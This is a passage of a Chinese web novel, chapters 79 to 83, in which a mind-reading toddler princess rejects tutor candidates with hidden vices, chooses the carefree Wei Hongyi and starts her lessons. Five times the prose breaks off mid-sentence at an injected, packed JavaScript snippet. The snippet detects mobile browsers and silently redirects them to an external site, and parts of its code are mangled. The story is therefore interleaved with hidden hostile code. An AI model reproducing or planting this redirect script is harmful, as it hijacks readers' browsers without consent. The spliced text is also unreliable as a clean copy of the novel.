她甚至很想找张纸条,写上“距离高考还有XXXXX天”贴上去,好好激励一下(主要是激励自己)。可惜掰着手指头算了半天,才沮丧地发现——这个年代,压根没有高考这回事! 更气人的是,肚子里这个将来根本不用参加任何选拔性考试。人家生下来就自带爵位和继承权,是标准的老天爷追着喂饭吃。 「唉,」白晓晓老气横秋地叹了口气,小胖手温柔地摸了摸娘亲的肚子,「弟弟,你命真好。姐姐我这纯粹是职业病……不对,是职业习惯使然,忍不住就想给你加练。」 于是,她决定进行今日的“文化素养”培训——讲故事。讲的自然是最经典、她自认为最熟悉的王子和公主系列。 她窝在陈兮芮身边,用小奶音一本正经地开讲:“从前,有一个王子,他在森林里看到了白雪公主的棺木……最后,他们幸福地生活在了一起。” 陈兮芮听着这熟悉的结局,满意地微微颔首,她就爱听这种圆满的故事,也没费脑子去深究细节。正觉得温馨呢,却听见女儿话锋一转,开始了严肃的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287040|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “课后总结”: “这个故事告诉我们,故事虽然是故事,但是小朋友绝对不能去偷人家的棺材哦!这是非常、非常不道德的行为!看见好看的棺木也不行!记住了吗?” 陈兮芮:“???”等等?这故事的寓意……怎么有点不对劲? 白晓晓讲完一个,意犹未尽,立刻又开了下一个:“还有一个故事,是青蛙王子和公主……最后他们也幸福地生活在了一起。” 陈兮芮这回仔细听了,眉头不自觉地皱了起来。怎么又是一个公主?还嫁给了青蛙?这……这能幸福吗? 果然,她女儿的清奇解读虽迟但到:“这个故事的教育意义非常深刻!它告诉我们,不努力上进、整天懒懒散散的王子,是会被诅咒变成青蛙的!所以弟弟你以后一定要勤奋!还有哦——”她加重了语气,格外强调,“绝对不能随便亲陌生女孩子!这很危险的!万一你也变成青蛙了怎么办?” 陈兮芮:“……”她感觉肚子里的宝宝似乎都听得安静如鸡了。 一下午的时间,就在白晓晓各种魔改版的《王子与公主の伦理与安全警示教育》中度过了。陈兮芮听得是心绪复杂,三观受到了轻微的冲击,感觉整个世界都变得有点不一样了。 更要命的是,她女儿这胡说八道、偷换概念的本领,简直是天赋异禀,炉火纯青。莫说左相兜里的银子,她感觉再让晓晓说下去,死的都能被她说成活的,圆的都能被她说成扁的! “娘亲,你是不是累了?”白晓晓终于注意到娘亲略显呆滞的眼神,贴心地说,“那我不讲故事了,我给你唱歌吧!也是胎教哦!” 陈兮芮刚想欣慰女儿终于懂事了,就听见那把小奶音欢快地唱了起来: “来来!我是一个土豆!土豆土豆土豆土豆~豆!绿豆!红豆!扁豆!比不上我圆滚滚的土豆~” 歌词简单粗暴,旋律魔性洗脑,还无限循环。 陈兮芮听着这“土豆之歌”,看着女儿那副“我唱得真好快夸我”的得意小表情,终于彻底认清了一个现实——她女儿,实在是有那么一点(或者说非常)话痨!而且脑回路清奇,精力过剩! 她忍了整整三天。这三天里,白晓晓从《王子公主警示录》唱到《土豆颂》,再从《土豆颂》扩展到《白菜之歌》、《萝卜进行曲》……把能唱的蔬菜全唱了一遍。 第三天傍晚,当白晓晓开始试图创作《猪蹄膀圆舞曲》的时候,陈兮芮终于温柔而坚定地拉住了女儿的手。 她看向刚批完奏折、一脸疲惫走进来的白洵,语气无比认真地说道: “陛下,臣妾深思熟虑过了。”“给晓晓找个师傅吧,或者……送她去上学堂也行。”“实在是……不能让她再这么无所事事地‘胎教’下去了。” 再这样下去,她怕肚子里的孩子还没出生,就先学会怎么用土豆打海盗,或者认为王子最大的美德是不偷棺材和不亲女孩子了! 第79章 选老师 第七十九章选老师 白晓晓怎么也没想到,自己躺平当咸鱼的美好生活,结束得如此猝不及防。 她,一个虚岁才将将两岁的宝宝,居然就要拜师上课了! 这简直比话本里的剧情还要离谱一百倍!主打的就是一个猝不及防、毫无准备! 前天她还美滋滋地想着不用高考直接上岸,今天就被亲娘无情地从上岸的小船上一脚踹了下去,掉进了启蒙教育的苦海里。 「苦海无边,回头是岸。」 「娘亲快点回头啊,你闺女掉‘海’里了!」 白晓晓眨巴着那双水汪汪的大眼睛,小嘴瘪啊瘪,使出了终极撒娇**:“娘亲是不是不疼晓晓了……” 陈兮芮努力硬起心肠,强迫自己不去看女儿那副可怜兮兮的小模样。 这小家伙,明明刚才还生龙活虎、上蹿下跳的,这会儿倒装起柔弱来了! 她小时候可是出了名的勤奋好学,这跳脱的性子,难不成是随了她爹? 但是这天马流星的想象力也是没谁了,要是再任由她这么歪下去,陈兮芮严重怀疑,保不齐明天就能听到屎壳郎王子与鼻涕虫公主的爱情故事了! 她实在是……欣赏不了。 找个老师,至少能让她可怜的耳朵清净点,换个人接受荼毒。 “乖,让你爹给你找个天底下最好、最厉害的老师。”她努力让自己的语气听起来温柔又坚定,不伤害到女儿幼小脆弱的心灵。 不过,老师还真不是那么好找的,有几样条件真的不能不满足。 首先,脾气必须得好——万一上课上到一半被气吐血了怎么办? 御医也很忙的,不想总是为这种原因跑断腿。 其次,功底必须得深——必须得能制得住晓晓这天马行空的脑回路和过剩的精力,万一老师第二天就拄着拐杖来告老还乡怎么办? 总换老师也挺麻烦的,而且对各位老先生的心脏实在是太不友好了。 再次,学识必须得渊博,心态还得开放——毕竟要能理解并引导王子偷棺木这种独特的世界观。 思想太古板的恐怕不行,容易被晓晓带偏或者直接气晕。 最后…… 陈兮芮在心里叹了口气。 不行,要求不能太多了。 万一条件太苛刻,一个合适的都找不到怎么办? 万一逼得太紧,孩子产生逆反心理,打死都不去上课了又怎么办? “哎……”这老师还没影儿呢,她就已经开始提前担心了,甚至感到一丝淡淡的愧疚。 以前总觉得,生了孩子,只要她平安健康快乐就好。可现在,发现女儿似乎有那么点令人头疼的天赋之后,她竟然也开始贪心了。 总觉这样的孩子,若是不好好引导,任其野蛮生长,实在是暴殄天物,是一种埋没。 (白晓晓:我不是!我没有!别乱说!) 而那位“被寄予厚望”的天才宝宝本人——此刻正踩在巨人的肩膀(也就是她爹特意搬来的绣墩儿)上,生无可恋地站在御书房的桌案前。 她面前摊开着好几卷精心装裱的画像,都是她爹根据她娘那“脾气好、功力深、学识广”的模糊指示,从翰林院、国子监乃至民间大儒中初步筛选出来的候选老师。 「这都是挑出来什么牛鬼蛇神啊。」 「我的心麻木了,感觉不会再爱了~」 白晓晓不想上课,更不想挑老师。 虽然说,论迹不论心,论心世上无完人,但是吧…… 这种人类高质量男性缺陷博览会办得很好,下次别再办了! 好家伙,一个能打的都没有! “这个怎么样?”白洵完全没察觉到女儿的崩溃,热情洋溢地抽出第一张画像。,一位面容清瘦、眼神略显倨傲的文官,“这位张卿家,是前年的金科状元,文学功底特别扎实,诗词歌赋无一不精。” 白晓晓只瞥了一眼,就嫌弃地皱起了小鼻子,把头摇得像拨浪鼓:“不要不要!他长得有点……奇怪。” 虽然说攻击人家外表不太好,可她实在是忍无可忍。 「何止是奇怪!他家暴老婆啊爹爹!」 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287041|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 「动不动就**,打完还跪着求原谅,下次接着打!」 「表面装得人五人六的,简直是个变态!」 「这种家暴男能不能立刻马上滚出地球啊喂!」 白洵被这理由噎了一下,干笑了两声:“是、是有点……嗯,不算周正。要不再看看这个?”他连忙换了一张,“钱卿家,出身百年书香世家,真正的满腹经纶,学富五车!” 画像上的男子倒是仪表堂堂,带着世家子弟特有的矜贵气。 白晓晓瞅了一眼,继续摇头,小手指对着画像指指点点:“不好不好,他头发太少了!” 「虚男一个!」 「家里居然有十八房小妾,夜夜笙歌啊!」 「哪有什么时间搞学问啊,光搞大女人的肚子了。」 「就这还书香世家?祖宗的棺材板都要压不住了吧!」 白洵的手微顿,这位钱大人的风流韵事,他隐约也有耳闻,只是没想到,这么不争气。 真是金玉其外,败絮其中! 呸!不争气的玩意儿! 他在心里暗骂一句,迅速将画像扫到一边。 “这个呢?”他不死心,又展开一幅。画上是位体态丰腴、笑容可掬的中年官员。“太肥了。”白晓晓毫不留情,言辞犀利。 「重男轻女的小辣鸡!」 「家里好吃的、好用的全都紧着那个宝贝儿子,女儿连口肉都吃不上!」 「他自己倒好,吃得脑满肠肥,跟头猪似的!」 “这个呢?” “……” 白晓晓原本以为,被迫上课已经是人生最痛苦的事情了。没想到,给自己挑老师,才是真正的炼狱模式! 她也不是非要鸡蛋里挑骨头,纯粹是这帮人个顶个真毛病,让她不得不随便找个蹩脚的理由搪塞过去。 她心里其实也有点紧张和委屈,从来没觉得自己是个追求完美的人? 可如果父皇觉得好色、家暴、重男轻女这些都“无伤大雅”、“不影响教学”的话,那她可真想大喊一声:冤枉啊! 第80章 决定了 第八十章决定了 白洵看着女儿小手一挥,毫不留情地把他精挑细选出来的青年才俊都给否了,心里又好气又好笑。 他能怎么办呢?难道真要跟女儿讲好色、家暴、重男轻女都不重要吗? 当老师的还能饶过为人师表,单看学问和才华? 他身为一国之君,自然不可能天天去窥探每位官员关起门来的家事。 做得那些破烂事或许不违法,却实实在在有悖人伦,不是正人君子所为。 选拔官员治理天下,虽不求人人都是圣贤,毫无瑕疵,但人品有重大瑕疵的,确实需要谨慎一些。 毕竟,朝廷这么大,最不缺的就是人才。 踢掉几个德不配位的,朝中有的是既有能力、人品又经得起考验的贤才可以顶上来。 既然知道了这些情况,他肯定会暗中派人去调查,若当真属实,他也绝不会姑息,势必将这些蛀虫清理出朝堂。 白洵的目光重新落回桌上,那叠厚厚的画像如今已所剩无几,他犹豫了一下,拿起了最后一张。 这张画像上的人,和他之前看过的所有候选者,可以说截然不同,甚至显得格格不入。 画中人没有穿着象征身份的华丽官服,仅仅是一身素雅的青布长衫,他面容清俊,线条柔和,眼神沉静而温和,仿佛能包容万物,嘴角还含着一丝若有若无的淡淡笑意,不像个学究,倒有几分超然物外的闲适气质。 “怎么把他放到这里来了?”白洵暗自嘀咕了一句,就被闺女那持续不断、充满怨念的内心刷屏: 「不上课不上课不上课~」 「真的不想去上课啊~」 「实在不行我就……我就把御书房点了!」 「对,同归于尽!」 这熟悉的感觉——上学就想炸学校,上班就想炸公司。 很好,非常好,特别好! 哪怕穿越了时空,换了个尊贵无比的公主身份,白晓晓骨子里那个一言不合就“随时准备**”的她,可以说一点儿都没变! 白洵忽略这怨念,皱着眉头拿起最后那张画像,虽然对这位候选人并不十分看好,但眼下好像也确实没别的选择了。 “这好像是你小舅舅举荐的人选,”他语气有些犹豫,向女儿解释道,“魏二他并未出仕,也不是世子……” 此人既非声名显赫的大学士,也未曾经过正经科举的锤炼,听说性子跳脱不羁,行事风格也颇为随性自在。 白洵越琢磨越觉得不靠谱,正打算吩咐内侍再重新筛选一批候选者,却忽然察觉到身旁的女儿没了动静。 他转头一看,只见方才还一脸生无可恋的闺女,此刻正睁大了眼睛,一眨不眨地盯着那张画像。原本黯淡的目光倏地一下亮了起来,仿佛看到了什么稀世珍宝。 倒不是对老师这一身份有什么刻板印象,实在是她爹给她找的十有**都是看起来古板,实则老混蛋的人。 画像上的男子,不仅不同,还有几分风流俊俏! 「wow~」 「这颜值、这气质……简直是教师行业的天花板了吧!」 「谁说帅哥都上交给国家了,这个分明就被落下了!」 她飞快地在记忆里搜索了一番,确实没听说过这位俊俏公子有什么欺男霸女、贪赃枉法的黑历史。 至于父皇口中的“跳脱”、“不拘小节”? 嗐,那叫活泼开朗! 叫富有生活情趣! 叫勇于打破封建教条! 于是,在白洵那句“要不换一”的尾音还没完全落下时,白晓晓已经伸出肉乎乎的小手指,精准地指向画中那个笑得云淡风轻的俊俏公子,用她最响亮、最斩钉截铁的奶音宣布:“就他了!” 生怕她爹反悔似的,她还用力地点了点小脑袋,以示强调:“就选他了!” 白洵闻言,倒吸一口凉气,手中的茶盏差点没拿稳。 他脑子里不受控制地浮现出两个混世魔王凑在一起,上房揭瓦、鸡飞狗跳,估计都是家常便饭了。 他看着女儿的眼睛,再低头看看画像上那个魏二,真是怎么看怎么不靠谱。 可现在,说什么都晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287042|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 魏二公子,大名魏泓邑。 这名字听着倒是颇有气势,不知道的还以为是哪位当世大儒,或是朝中哪位重臣。 可实际上,他在自己家里,是个反面教材。 安远伯府,那可真称得上是卷王世家。 家族子弟不是在读书科举的路上,就是在科举读书的路上,个个力争上游,生怕给家族丢了一分脸面。 偏偏到了魏二这里,画风陡然一变。 他并非是不学无术,也不是真的蠢笨,只是……没那么精力旺盛。 用他自己的话说:“人活一世,草木一秋,何必把脑袋拴在科举那里?” 于是,在全家人头悬梁锥刺股,为了光宗耀祖而奋斗时,他可能正窝在书房角落,翻着一本无人问津的山川杂记,看农夫耕田、听樵夫唱山歌,端得是一个不走寻常路。 自然而然地,他就成了全家人的重点嫌弃对象。 长辈看他,是恨铁不成钢的叹息;平辈看他,是混合着不解和些许轻视的眼神;下人们私下议论,也少不了嘴上几句“二公子真是……哎!” 他早已习惯了被一群人追在屁股后面,念叨着“不求上进”、“不务正业”,久而久之,他也懒得辩解了。 没办法,自己就是这么个德行,强求不来。 如今他已年过三十,却依旧未曾娶妻,倒不是抗拒婚姻,只是志不在此。 他最大的心愿,是能走遍大江南北,看遍名山大川,若路遇不平之事,也能凭己之力管上一管,荡尽天下不平事,这才算快意人生。 当然,这番壮志落在市井的闲言碎语里,就变成了:“听说了吗?老安远伯家那个二儿子,哎呦,真是没救了!功名没有,媳妇也不娶,一天到晚不知道在外面瞎晃悠什么,像个大傻子似的……” 所以,当宫里传来旨意,点名要他去做长公主的老师时,整个安远伯府都炸开了锅,第一反应是:传旨的公公是不是念错名字了? 唯独魏二抱着肩膀抖着腿,面上含笑道了句:“诶呀呀,还是圣上有眼光!” 第81章 课程表 第八十一章课程表 安远伯府里里外外都在热火朝天地讨论着小公主送来的拜师礼,这阵仗,可一点都不含糊! 传统拜师必备的六礼束脩一样不差,还有各色绸缎、摆件,一箱一箱抬进来,显得既隆重又正式。 伯爷和夫人看着这满屋子的礼物,心情那叫一个复杂,他们不敢质疑圣上的决定,更不会承认自己看走了眼——毕竟儿子是亲生的。 他们纯粹是……想不通! 两人面面相觑,眼神里传递着同样的困惑,就他们家那个不求上进的“傻儿子”? 他何德何能啊!他能教公主什么? 教哪里的山水最好看? 教山上什么东西没毒还好吃? 还是教如何巧妙地避开家族长辈的唠叨? “孩儿他爹,二子他真的能行吗?”伯夫人拽了拽安远伯的袖子,声音里还带着几分恍惚和难以置信。 府里苦心培养了那么多读书人,一个个卷生卷死,结果谁都没能入了圣上的眼。 没想到最后一战成名、拿下公主之师这块金字招牌的,竟然是这个看起来最散漫、最不像老师的魏二! 可问题在于——他也没战啊! 伯夫人忍不住上上下下、仔仔细细地打量起站在一旁、似乎也有点状况外的二儿子。 长得其实挺周正,个子高挑,身姿也挺拔,口才嘛…...忽悠人的时候倒是一套一套的,通身气质也勉强称得上儒雅,抛开那点懒散不谈。 可一想到他那股万事不争、随遇而安的劲儿,伯夫人就觉得一口气堵在胸口,上不来也下不去,憋得难受! 她狠狠瞪了儿子一眼,可目光转回那一箱箱扎扎实实的礼物上时,又忍不住心生恍惚。 那拜师礼中的芹菜(勤奋好学)、莲子(苦心教导)、红豆(鸿运高照)、红枣(早早高中)、桂圆(**)……样样齐全,规制严谨得挑不出一点错处。 圣上对此事的态度,可谓是认真到了极点。 他们安远伯府在圣上跟前儿根本叫不上号,儿子能被选中,恐怕还真不是靠家族荫庇——难不成真是靠自己的实力? 对上亲娘那混合着怀疑、担忧和一丝丝探究的目光,魏二摸了摸鼻子,多多少少有点心虚。 唉,这人啊,有时候真是不信命不行。 自打他隐约知道了那些和他一起候选的都是些什么人——要么是家里鸡飞狗跳的,要么是个人作风颇有争议的,他就大彻大悟了。 原来在这场无声的角逐中,他早就赢在了起跑线上! 比的不是谁才高八斗,而是谁身家清白、生活作风毫无污点! 有几把刷子或许没那么重要,重要的是,做人干干净净,没那么多乱七八糟的毛病。 当然啦—— 魏二在心里偷偷笑了笑,谁能说他魏泓邑,就真的没有刷子呢? 而且可不止有两把! “以前怎么就没瞧出来,你小子还挺会走这种‘歪门邪道’的!”魏老爷子拄着拐杖,又是好气又是好笑地在地上顿了顿。 他老人家虽然一贯看不上那些投机取巧的行径,但骨子里却信命——凡是发生在自家、且看起来像是好事一桩的,那说不定就是老天爷赏的缘分! 没准儿这个一向不显山不露水的二小子,真能给魏家带来什么泼天的好名声呢? 这么一想,老爷子顿时看魏二顺眼了不少,连语气都从质疑转为了谆谆教导:“你小子可给我听好了!这回必须拿出十二分的力气,好好教导公主殿下!万万不能出半点差错!” 旁边的老夫人也赶紧凑上来补充,语气殷切:“是啊泓邑,这可是天大的好事!你好好干,等这差事稳定下来,身份不一样了……叫你娘回头相看几个好姑娘,早点成家……” 魏二没什么形象地掏了掏耳朵,脸上写满了“又来了又来了”。 这些车轱辘话,他一年里听得没有三百遍也有两百八十遍,要不然他怎么总爱往外跑,不就是图个耳根子清净嘛! 他这次回京城,本来只想安安稳稳休息几天,会会老朋友。 谁成想一个相识的小友,不知怎地就把他举荐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287043|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了圣上跟前,成了公主老师的候选人之一。 他本来以为自个儿就是去凑个数、走个过场的,万万没想到——嘿,居然真选上了! 这大概就是运气来了,挡都挡不住吧? 不过这上课的时间安排,也挺让人摸不着头脑的。 按魏二自己从小读书的习惯,那肯定是一日之计在于晨——大清早天光正好,空气清新,头脑也最清醒,此时讲学授课再合适不过。 奈何,这个提议被白晓晓一票否决。 “不行不行绝对不行!”小公主把脑袋摇得像拨浪鼓,“我每天四点多钟就要被薅起来准备上朝旁听,紧我这小身板真的受不了了呀!我才是个不到两岁的小宝宝呢!” 「谁家好人一天要当四十八个小时用啊!」 「就算是天王老子来了也不能这么压榨童工吧?!」 真的很想哭啊,奈何演技不争气。 白洵纠结片刻,最终决定把所有的课程都安排在下午。 “有睡回笼觉的时间,可就不能再睡午觉了。” 白晓晓:“……” 「被抢台词了。」 「以后我长不高,这锅必须扣爹爹头上。」 老父亲完全无视了闺女投来的哀怨目光,拿着笔,一脸认真地开始规划课程表:“未时二刻到未时四刻,上算术课;未时六刻到申时二刻,上文学课……” 他写着写着,自己都皱起了眉头,总觉得时间不够用啊! 礼乐射御书数六艺,这怎么排也得排上三个时辰才像样。 转头看见闺女瘪着一张小脸,真快哭了,他这才心一软,勉强退了一步,改成了两天完成六节课。 白晓晓看着那新鲜出炉的课表,内心继续崩溃。 「好好好,下午上数学课……」 「可怎么还有射箭啊?!老师您看看我这小胳膊,我拉得开弓吗?」 「御是驾车?!可我没有驾照啊!」 在闺女一片无声的哀嚎中,白洵定下最终版的课表,择日不如撞日——明天就去上学吧! 第82章 早教班 第八十二章早教班 一想到明天就要正式上课,白晓晓愁得在床上翻来覆去,活像一只被煎了整整半个时辰的小烙饼。 就在她觉得自己快要被烙熟了的时候,猛地一个打挺坐了起来,瞪圆了那双本就溜圆的眼睛。 不对劲,十分有十二分的不对劲! 她还不到两岁啊,人类幼崽不应该是在幼儿园抢饼干、睡午觉吗? 怎么她直接快进到上小学了?还是皇家速成版! 连个过度都没有,咱就是说这合理吗? 这符合未成年人保**吗?——哦不对,这个时代好像没这玩意儿。 白晓晓一头栽回枕头上,无语极了。可惜了,箭在弦上她不得不去。 这么一来早朝吃瓜也不香了,那个姓张的家暴男被妻族暴打成了猪头,偏偏他想讨回个公道,就顶着猪头来上朝。 满朝文武皆看笑话不说,也没有人向着他。 「活该!」 白晓晓像一个蔫巴小狗,对什么都提不起来兴致,奶黄点心往嘴里塞着也食不知味。 上学的焦虑压倒了一切! 好不容易熬到下午,传说中的老师终于来了。 这一见,白晓晓的眼睛“叮”一下就亮了。 这可是她自己亲手挑的老师。画像上已经够好看了,**居然更绝! 没有半点谄媚油腻味儿,一身清朗之气,不像个学究,倒像个执剑走天涯的游侠,帅得简直能直接出道。 小豆丁瞬间坐直了些,心道自己的眼光就是好,等下无论老师讲什么都不重要了,自己选的人就是要无条件溺爱。 然而,这位潇洒的初上任老师心里却有点打鼓。 魏二早就听说小公主天资聪颖,但再聪明……这也只是个还没他膝盖高的小团子啊! 他原本准备的都是《三字经》《千字文》这种启蒙标配,想着带她认认字、背背书就差不多了。 谁知道圣上完全不按常理出牌,课表更是直接定了六艺,第一堂课还直接上最难的——“数”! 看着眼前这个眨巴着大眼睛、脸颊肉嘟嘟的小不点,魏二头一次感到无从下手。 这课该怎么备? 让她从一数到十? 还是学学加减乘除? 而此时的白晓晓,天真的以为数就是数学,九九乘法表、一元二次方程、鸡兔同笼,初中以内的数学她基本问题不大,尽管放马过来! 好歹也是受过现代义务教育熏陶过的灵魂,初中数学还是能掰掰手腕的! 然而,她很快就发现自己还是太年轻了。此“数”非彼“数学”啊! 计算,不只是一二三四加减乘除,而是要学怎么量田亩、算收成,怎么换算粮食、征发役夫、计算土方,甚至还有怎么给各州分摊税收、如何分配朝廷拨款……这简直是一部古代项目管理入门实操! 至于数术,那就更玄乎了。 上至观测星象、制定历法,中至占卜吉凶、看相算命,下至音律节奏、韵律规则……统统都归它管! 白晓晓听得目瞪口呆,说好的轻松古代校园生活呢? 她想抓抓头发,又怕弄乱了吉祥精心梳好的小揪揪,只好郁闷地鼓起了腮帮子。 好家伙,这课程内容是真的吗?是她这个宝宝该学的东西吗?又是田亩又是税收,下一步是不是该教她怎么治理州县、怎么带兵打仗了?离谱,离大谱!离离原上谱! 课堂之上一时间陷入了诡异的安静。 师生两个大眼瞪小眼,陷入了同款迷茫之中。 魏二OS:这课,到底该怎么教?白晓晓OS:这学,到底该怎么上? “公主可识数?”魏二轻咳一声,决定还是从最基础的问起,先摸摸底再决定学习范围。 白晓晓无语地撇撇嘴,老师,我只是年纪小,不是智商低呀! 于是她小胸脯一挺,决定给自己挽个尊,她不仅要识数,还要问点有深度的问题! “老师,学生想了解一下赋税!”她一本正经地说道,这个应该是属于数学课的范畴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16287044|182630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,没有超纲。她依稀记得以前学过《苛政猛于虎》的文言文,有点好奇这个时代的税收到底咋样。毕竟她从小长在深宫,每天烦恼的是点心甜不甜、瓜新不新鲜,民间百姓过得怎么样,可以说是一星半点儿都不知道。 魏二眼睛一亮!这小公主可以啊,口齿伶俐,不似凡童,一开口就是要聊赋税?有点意思!他压下嘴角那抹欣赏的笑意,尽量说得简单些:“如今收税呀,一年两次,夏天一次、秋天一次。有钱的多交点儿,没钱的少交点儿,啥都没有的就不交。” 白晓晓一听,诶,这不就是唐朝两税法的思路吗?挺先进啊! 好处显而易见:税制简化了,贫富负担也更公平了。但她知道,这种政策执行起来肯定也有一大堆问题。 于是她乘胜追击:“那老师您觉得,现在的税重不重呀?” 这个问题一抛出来,魏二顿时感觉有点压力了。 他其实很想说,重啊怎么不重!百姓苦哈哈种地一年,到头来手里落不下几个铜板,遇到灾年还得卖儿卖女。可这是在皇宫,说话得注意点,万一被哪个路过的听了去,说他妄议税政,那可真是吃不了兜着走,说不定还要连累全家老小。 魏二忽然觉得临进宫前,亲爹亲娘的担忧,不全是多余的了。 于是他战术性沉默,久久没能回答。 白晓晓看他这副突然掉线的样子,也瞬间懂了。 纵观她以前学过的历史朝代,哪有赋税不重的,哪有百姓真能过上好日子的! 即便是最辉煌的唐朝,也同样有着诸多吃不上饭的人。 可惜她这问题确实超纲了——一个闲散王爷家的白身公子,一个不到两岁的小公主,在这讨论国家税负轻重?听起来就像幼儿园小组讨论宏观经济政策似的,怎么看怎么滑稽! “算了算了,这是我爹爹该操心的事情,老师我们还是从怎么计算田亩、计算赋税开始学起吧!”她噗嗤一声笑出来,赶紧摆摆小手。 魏二暗暗松了口气,心道这一届的学生不好带啊! 第83章 清王妃 第八十三章 清王妃 为上学这事儿担忧的不止安远伯一家,白洵和陈兮芮这两位,更是把担心明晃晃写在了脸上。 虽说人是千挑万选出来的,魏二公子的人品才学也绝对信得过,可自家娃才多大点儿,不到两岁就正儿八经去上课了? 这画面光是想想就让人坐立难安。 于是,皇宫与学堂之间,内侍官们可就倒了霉。 “可哭了?” “睡着了吗?” “听得懂吗?” 这问候的频率,几乎达到了一刻钟一次的精准“骚扰”,负责传话的内侍腿儿都跑细了。 白晓晓总算熬完了她的六艺体验课之——射艺,跟老师行了礼,仿佛一天的精气神都耗尽了。 原本以为是要学射箭,实在不行弹弓打鸟也是那个意思。 实则却是要从热身开始,至少以她这个小身板,怎么也得锻炼个一年半载的,再考虑使用弓箭。 陈兮芮赶紧把软乎乎的小女儿搂住:“今儿这课怎么样?还习惯吗?” 其实她早通过“前线记者”的七八次快报了解了全程,但还是想听女儿亲口说。 只见白晓晓小脸皱成了一只包子,有气无力地伸出小胖手去够桌上的点心,然后凑到陈兮芮耳边,用气音悄悄告状:“娘亲,我的翅根……有点疼。” 陈兮芮:“???” 什么翅根?御膳房今日做烤翅了吗? 白洵想了半天才明白过来,原来是扎马步太久了,大腿疼。 这小家伙,形容得还挺别致,不愧是个小吃货! 他忍着笑,故意板起脸问:“可是老师要求太严了?要不,咱们换个老师?” 白晓晓摇头,她百分百确定,没有比他更合适的老师了。 「老师好老师妙~」 「老师是个全才。」 她也是突然才想起来,这位魏老师在原书里虽然戏份不多,没什么浓墨重彩的一笔,但他有个超级厉害的本事——能摇人啊! 朋友遍天下,老师遍天下,各行各业没有他不认识的牛人! 这怎么不算是本事?! 看着爹娘关切的眼神,白晓晓这才后知后觉地想起一件事,别的小朋友第一天上幼儿园,不都是哭得天崩地裂、死活不肯进去的吗? 怎么到她这儿,就这么乖乖服从安排了?甚至还认真思考起了学习内容? 一时间,她自己也分不清,她这到底是过于懂事呢,还是傻得有点冒泡了? 算了,她啃了一口点心,任命地想:学吧学吧,来都来了…… 于是她撅着小嘴,发出了最真实的抱怨:“一节课的时间太长啦~” 而且中间还没有课间餐,也不能吃点心。 最“残忍”的是,老师居然还留了作业! “要写一页大字。”她伸出肉乎乎的一根手指,悲壮地宣布。 虽然但是,她终于可以摆脱文盲这个人设了,至少开始会写自己的名字了。 「唉,真的好想把简体字和阿拉伯数字推广一下啊……」 「还有那个算盘!珠子拨得我手指头都要抽筋了。」 「救命,求个大神发明下计算器啊!」 白洵眯了眯眼,什么拨拉数字?做什么用的? 正当皇帝老爹陷入沉思时,白晓晓已经双手捧起了她专属的、描着金边的小饭碗,一脸天大地大,吃饭最大的郑重表情。 世上无难事,只要能干饭! * 第二天一早,就由陈兮芮代表女儿告了假,且叫她多睡两个时辰吧。 为人父母,大概就是这样,总觉得给得还不够多,爱就是常常觉得亏欠。 虽然人没去上班,但皇宫第一线吃瓜小能手的称号可不是白叫的。最新鲜热辣的八卦还是火速传进了她的耳朵里。 ——清王白清,嘎了。 死因是西南地区的瘴气中毒。 「哟呵,这位连面都没见过的皇叔,就这么下线了?」 「这命数……比夏天的冰糕化得还快啊。」 